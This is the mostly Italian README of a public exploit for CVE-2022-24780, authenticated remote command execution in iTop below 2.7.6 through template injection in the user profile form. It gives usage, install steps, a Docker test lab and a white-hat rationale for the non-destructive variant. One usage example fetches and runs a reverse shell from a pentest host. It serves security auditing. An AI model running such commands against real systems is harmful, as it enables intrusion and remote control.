acceis/exploit-cve-2022-24780iTop < 2.7.6 - Esecuzione di comandi da remoto (Autenticato)
iTop < 2.7.6 - Esecuzione remota di comandi (autenticata)
Exploit per [CVE-2022-24780][CVE-2022-24780].
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
La variante full dell'exploit utilizza Watir con un browser web guidato da Selenium per emulare la navigazione di un utente. Questo è necessario per preservare le informazioni dell'utente. L'exploit inietta un payload SSTI in una sottoparte del modulo utilizzato per modificare le informazioni dell'utente nel profilo del portale. Mentre alcuni valori possono essere hardcoded o recuperati dall'HTML, altri (telefono, posizione, funzione) vengono caricati dinamicamente tramite JavaScript e iniettati nell'HTML. Quindi, affinché l'exploit non sia distruttivo, è necessario eseguire JavaScript per essere in grado di recuperare tali valori.
La variante light dell'exploit non si preoccupa molto e imposta in modo distruttivo un valore nullo per alcuni campi delle informazioni dell'utente (telefono, posizione, funzione). Tuttavia questa variante è più veloce da eseguire, richiede meno dipendenze, non esegue alcun JavaScript e non necessita di un ambiente X (Watir ne ha bisogno per eseguire il browser web).
TL;DR: installa tutto con bundle install
Variante Full
Esempio con gem:
gem install httpx docopt watir webdrivers
Variante Light
Esempio con gem:
gem install httpx docopt nokogiri
Non è raccomandato utilizzare payload con virgolette doppie (") né barre rovesciate (\) perché il payload viene iniettato in JSON.
Attenzione: questo container non è adatto per l'uso in produzione!
Utilizzando vbkunin/itop:2.7.4 - sorgente - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
La vulnerabilità è stata scoperta da Markus KRELL.
Analisi della vulnerabilità da parte dello scopritore:
ACCEIS non promuove né incoraggia alcuna attività illegale; tutto il contenuto fornito da questo repository è destinato esclusivamente a scopi di ricerca, educativi e di rilevamento delle minacce.
Come auditor di sicurezza (o qualsiasi altro ruolo white hat), da un lato si vuole eseguire uno script di exploit per verificare l'effettiva sfruttabilità pratica della vulnerabilità teorica basata sul numero di versione dell'applicazione identificato, ma dall'altro lato si vuole che venga fatto correttamente senza alcuna azione distruttiva in modo che l'applicazione del cliente rimanga nello stesso stato in cui è stata scoperta.
Per esempio, questo exploit si verifica sulla pagina del profilo utente, quindi c'è un modulo con le informazioni dell'utente già popolate: nome, cognome, ID organizzazione, email, telefono, ID posizione, funzione, ID manager. Perché l'attacco funzioni, è sufficiente sovrascrivere i campi vulnerabili e riempire gli altri con valori nulli o valori casuali se sono obbligatori. Questo è ciò che fa la variante light dell'exploit. Ma così facendo si distruggono le informazioni reali di quell'utente; non è problematico in un ambiente di test, ma è un vero problema se si è in un ambiente di produzione. Un black hat non si preoccupa di tutto ciò, ma come white hat dobbiamo preservare i dati. Quindi la soluzione è recuperare i dati effettivi e riutilizzarli nella nostra richiesta POST.
Nelle applicazioni web classiche, spesso è sufficiente creare direttamente una richiesta POST con i parametri giusti indirizzata all'endpoint vulnerabile. A volte è necessario gestire sessioni/cookie, reindirizzamenti, alcuni stati precedenti che potrebbero essere richiesti, recuperare alcuni ID o token anti-CSRF, ma tutto ciò rimane molto semplice e può essere realizzato con praticamente qualsiasi libreria HTTP in qualsiasi linguaggio.
Per recuperare i dati effettivi, quando i dati nel modulo provengono da:
Inizia a diventare un po' più delicato su alcune applicazioni web moderne dove molti valori sono impostati da complesse manipolazioni JavaScript. Qui non puoi semplicemente analizzare l'HTML o richiedere una REST API, non puoi nemmeno recuperare il valore da un file JavaScript direttamente o analizzare diverse righe e ricalcolare un valore. Quando il calcolo JS è così complesso, avviene in molti file JS diversi o il codice sorgente JavaScript è offuscato o impacchettato, richiederebbe troppi sforzi e tempo per fare reverse engineering del meccanismo ed estrarre il valore. In questo caso, devi effettivamente interagire con il JavaScript dell'applicazione. Ma uno script di exploit classico che richiede solo una libreria HTTP non può farlo (da solo)!